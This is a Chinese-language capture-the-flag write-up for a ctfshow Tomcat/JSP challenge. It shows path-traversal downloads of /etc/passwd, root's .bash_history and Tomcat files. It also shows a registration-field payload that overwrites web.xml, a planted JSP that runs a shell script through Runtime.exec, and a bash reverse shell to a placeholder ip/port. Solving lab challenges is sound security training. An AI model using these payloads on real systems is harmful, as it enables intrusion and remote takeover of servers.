CTFSHOW-日刷-摆烂杯-登陆不了-tomcat/jsp


进去是一个主页,点击注册

发现注册这里的验证码没用到,而且内容也一直不变,右击新建打开

发现传了一串base64的参数,解码是c81e728.jpg,怀疑是任意文件下载,尝试下载 /etc/passwd

确实是任意文件下载,下面就是要再找到flag的路径

 尝试确定中间件,这里我先看了历史命令记录,下载查看

../../../../../../../../../root/.bash_history

 在这里发现是tomcat,同时确定了物理路径

尝试访问日志,这个日志会有报错信息,先下载一个不存在的文件即可

序号            名称                                        说明
1        catalina.date.log                       Catalina引擎的日志文件
2        catalina.out                            Catalina控制台输出,包括标准输出和错误输出
3        host-manager.date.log                   主机管理日志
4        localhost.date.log                      Tomcat下内部代码丢出的日志
5        locahost_access_log.date.txt            网页访问日志
6        manager.date.log                        应用管理日志
../../../../../../../../../home/apache-tomcat-8.5.45/logs/catalina.out

发现这个项目的具体路径在ROOT里面,尝试读取web.xml

 没啥有用信息,根据题目提示读取pom.xml

发现jar文件,下载,注意下下来的jar文件末尾有多余的0 删除至8个即可

反编译查看

找到index控制器,下载(在classes里找,注意后缀calss别忘了)

../../../../../../../../../home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/classes/com/ctfshow/controller/Index.class

下载,同样删除多余的0反编译查看(用的idea)

发现注册的时候存在文件写入,由于文件名只能是数字字母小数点,所以不存在目录穿越

文件保存路径是当前路径calsses的上一级,也就是WEB-INF,我们可以在这里重写web.xml来访问我们想访问的路径

注册页面

传入:username=web.xml&password=<?xml%20version%3d"1.0"%20encoding%3d"UTF-8"?>%20"3.0"%20%20%20%20%20%20%20%20%20%20xmlns%3d"http://java.sun.com/xml/ns/javaee"%20%20%20%20%20%20%20%20%20%20xmlns:xsi%3d"http://www.w3.org/2001/XMLSchema-instance"%20%20%20%20%20%20%20%20%20%20xsi:schemaLocation%3d"http://java.sun.com/xml/ns/javaee%20%20%20%20%20%20%20%20%20%20http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20routerFilter%20%20%20%20%20%20%20%20%20class>com.ctfshow.filter.impl.RouterFilterImplclass>%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20routerFilter%20%20%20%20%20%20%20%20%20/404.html%20%20%20%20%20%20%20%20%20/s/*%20%20%20%20%20%20%20%20%20REQUEST%20%20%20%20%20%20%20%20%20ctfshow%20%20%20/WEB-INF/1.jsp%20%20%20%20%20%20%20%20%20ctfshow%20%20%20/ctfshow%20%20%20%20%20

  
    
        routerFilter
        com.ctfshow.filter.impl.RouterFilterImpl
    
    
        routerFilter
        /404.html
        /s/*
        REQUEST
    
  
ctfshow  
/WEB-INF/1.jsp  
  
  
ctfshow  
/ctfshow  
  

 即路径ctfshow访问1当前目录下的1.jsp

写入执行bash脚本的jsp

传入:username=1.jsp&password=<%25%20java.lang.Runtime.getRuntime().exec("sh%20/home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%25>
<% java.lang.Runtime.getRuntime().exec("sh /home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%>

这是执行当前目录下的1.sh,在写1.sh

写入反弹shell的bash脚本

传入username=1.sh&password=bash%20-i%20%3e%26%20/dev/tcp/ip/port%200%3e%261
bash -i >& /dev/tcp/ip/port 0>&1

注意改下ip端口

获得flag

相关